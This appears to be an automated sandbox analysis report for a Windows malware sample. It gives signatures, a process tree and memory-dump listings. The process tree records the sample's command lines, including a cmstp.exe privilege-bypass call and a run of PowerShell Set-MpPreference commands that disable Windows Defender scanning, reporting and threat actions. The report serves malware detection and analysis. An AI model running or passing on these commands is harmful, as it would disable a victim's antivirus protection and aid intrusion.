Analysis

  • max time kernel
    88s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14/10/2020, 14:49

General

  • Target
    ce56f130c12f75c8b26151d1c3a6de37.exe
  • Size 287KB
  • Sample201014-c3ft3a9bys
  • SHA256 d6d9a32fd696e4980d644f655563379ba7b04a2e3db03bbe6fbfb894fa68b152
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 411 IoCs
  • Suspicious use of AdjustPrivilegeToken 289 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ce56f130c12f75c8b26151d1c3a6de37.exe
    "C:\Users\Admin\AppData\Local\Temp\ce56f130c12f75c8b26151d1c3a6de37.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Users\Admin\AppData\Local\Temp\ce56f130c12f75c8b26151d1c3a6de37.exe
      "C:\Users\Admin\AppData\Local\Temp\ce56f130c12f75c8b26151d1c3a6de37.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1520
      • \??\c:\windows\SysWOW64\cmstp.exe
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\ak10gnvw.inf
        3⤵
          PID:1848
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2176
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c start C:\Windows\temp\3hnrkr1a.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\Windows\temp\3hnrkr1a.exe
          C:\Windows\temp\3hnrkr1a.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3224
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" Get-MpPreference -verbose
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3692
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2776
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1632
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1996
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2152
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:352
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1992
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4100
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4200
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4312
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4432
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4536
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4652
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /IM cmstp.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3756

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/352-48-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/1520-13-0x0000000005230000-0x0000000005231000-memory.dmp

          memory/1520-22-0x00000000054E0000-0x00000000054E1000-memory.dmp

          memory/1520-12-0x0000000005640000-0x0000000005641000-memory.dmp

          memory/1520-9-0x0000000073880000-0x0000000073F6E000-memory.dmp

          memory/1520-6-0x0000000000400000-0x000000000040C000-memory.dmp

          memory/1632-42-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/1848-20-0x0000000005170000-0x0000000005171000-memory.dmp

          memory/1848-18-0x0000000005170000-0x0000000005171000-memory.dmp

          memory/1992-50-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/1996-45-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/2152-46-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/2460-5-0x0000000002C50000-0x0000000002C5D000-memory.dmp

          memory/2460-4-0x0000000002B80000-0x0000000002B96000-memory.dmp

          memory/2460-0-0x0000000073870000-0x0000000073F5E000-memory.dmp

          memory/2460-3-0x0000000002C40000-0x0000000002C41000-memory.dmp

          memory/2460-1-0x00000000009D0000-0x00000000009D1000-memory.dmp

          memory/2776-41-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/3224-30-0x00000000000F0000-0x00000000000F1000-memory.dmp

          memory/3224-28-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/3692-33-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/3692-34-0x000002336EE50000-0x000002336EE51000-memory.dmp

          memory/3692-35-0x000002336F3D0000-0x000002336F3D1000-memory.dmp

          memory/4100-53-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/4200-57-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/4312-60-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/4432-63-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/4536-68-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp

          memory/4652-69-0x00007FFBC6640000-0x00007FFBC702C000-memory.dmp